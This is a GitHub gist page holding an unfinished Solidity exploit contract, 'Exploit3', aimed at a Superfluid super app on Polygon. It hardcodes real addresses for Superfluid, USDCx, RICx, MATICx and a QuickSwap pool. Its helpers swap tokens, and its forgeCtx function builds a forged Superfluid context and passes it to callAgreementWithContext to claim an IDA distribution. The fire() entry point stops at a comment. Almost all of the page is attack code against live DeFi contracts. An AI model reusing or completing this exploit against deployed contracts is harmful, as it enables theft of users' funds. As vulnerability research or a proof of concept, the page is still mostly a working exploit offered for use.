Skip to content

Instantly share code, notes, and snippets.

@pr0cf5
Created October 11, 2022 14:03
Show Gist options
  • Save pr0cf5/cfe3cb0d51976663d641f36fc07aaa3e to your computer and use it in GitHub Desktop.
Save pr0cf5/cfe3cb0d51976663d641f36fc07aaa3e to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "src/Common.sol";
import "forge-std/Test.sol";
contract Exploit3 {
ISuperfluid public superfluid;
ISuperApp public superapp;
ICFA cfa;
IIDA ida;
IERC20 usdc;
WMATIC wmatic;
ISuperToken public usdcx;
ISuperToken public ricx;
MATICx public maticx;
ISwapFactory public swapFactory;
Receiver public receiver;
ISwapPair public usdcPool; // WMATIC-USDC pool
uint lastPhaseCompletion;
constructor() {
superfluid = ISuperfluid(0x3E14dC1b13c488a8d5D310918780c983bD5982E7);
// input: 0xCAa7349CEA390F89641fe306D93591f87595dc1F (USDCx)
// output: 0x263026E7e53DBFDce5ae55Ade22493f828922965 (RICx)
superapp = ISuperApp(0x98d463A3F29F259E67176482eB15107F364c7E18);
cfa = ICFA(0x6EeE6060f715257b970700bc2656De21dEdF074C);
ida = IIDA(0xB0aABBA4B2783A72C52956CDEF62d438ecA2d7a1);
usdcx = ISuperToken(0xCAa7349CEA390F89641fe306D93591f87595dc1F);
ricx = ISuperToken(0x263026E7e53DBFDce5ae55Ade22493f828922965); // RICx for superapp
maticx = MATICx(0x3aD736904E9e65189c3000c7DD2c8AC8bB7cD4e3);
swapFactory = ISwapFactory(0x5757371414417b8C6CAad45bAeF941aBc7d3Ab32); // quickSwap factory
receiver = new Receiver(maticx, usdcx);
usdc = IERC20(usdcx.getUnderlyingToken());
wmatic = WMATIC(maticx.getUnderlyingToken());
usdcPool = ISwapPair(swapFactory.getPair(address(wmatic), address(usdc))); // WETH-USDC pool
}
function sell_tokens(ISwapPair pool) internal returns (uint256) {
uint112 reserveIn;
uint112 reserveOut;
uint256 amountIn;
uint256 amountOut;
uint256 wmaticAmount;
wmaticAmount = wmatic.balanceOf(address(this));
IERC20 token0 = IERC20(pool.token0());
IERC20 token1 = IERC20(pool.token1());
require(address(token0) == address(wmatic), "token0 is not WMATIC");
(reserveOut, reserveIn, ) = pool.getReserves();
amountIn = token1.balanceOf(address(this));
amountOut = SwapUtils.getAmountOut(amountIn, reserveIn, reserveOut);
token1.transfer(address(pool), amountIn);
pool.swap(amountOut, 0, address(this),"");
wmaticAmount = wmatic.balanceOf(address(this)) - wmaticAmount;
return wmaticAmount;
}
function buy_tokens(ISwapPair pool, uint256 maticAmount) internal returns (uint256) {
uint112 reserveIn;
uint112 reserveOut;
IERC20 token0 = IERC20(pool.token0());
IERC20 token1 = IERC20(pool.token1());
require(address(token0) == address(wmatic));
maticx.upgradeByETH{value: maticAmount}();
maticx.downgrade(maticAmount);
token0.transfer(address(pool), maticAmount);
(reserveIn, reserveOut,) = pool.getReserves();
pool.swap(0, SwapUtils.getAmountOut(maticAmount, reserveIn, reserveOut), address(this), "");
return token1.balanceOf(address(this));
}
function forgeCtx(Context memory _ctx) internal returns (bytes memory) {
bytes memory ctx = ContextDefinitions.serializeContext(_ctx);
bytes memory originalCtx;
bytes memory returnData;
returnData = superfluid.callAgreement(ida, abi.encodeWithSelector(IIDA.listSubscriptions.selector, ricx, address(this), ""), "");
originalCtx = abi.decode(returnData, (bytes));
superfluid.callAgreementWithContext(
ida,
abi.encodeWithSelector(
IIDA.claim.selector,
ricx,
address(superapp),
0,
address(this),
""
),
"",
originalCtx
);
return ctx;
}
function fire() public payable {
require(msg.value >= 1 ether, "insufficient funds for attack");
// fake ctx a
}
receive() external payable {
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment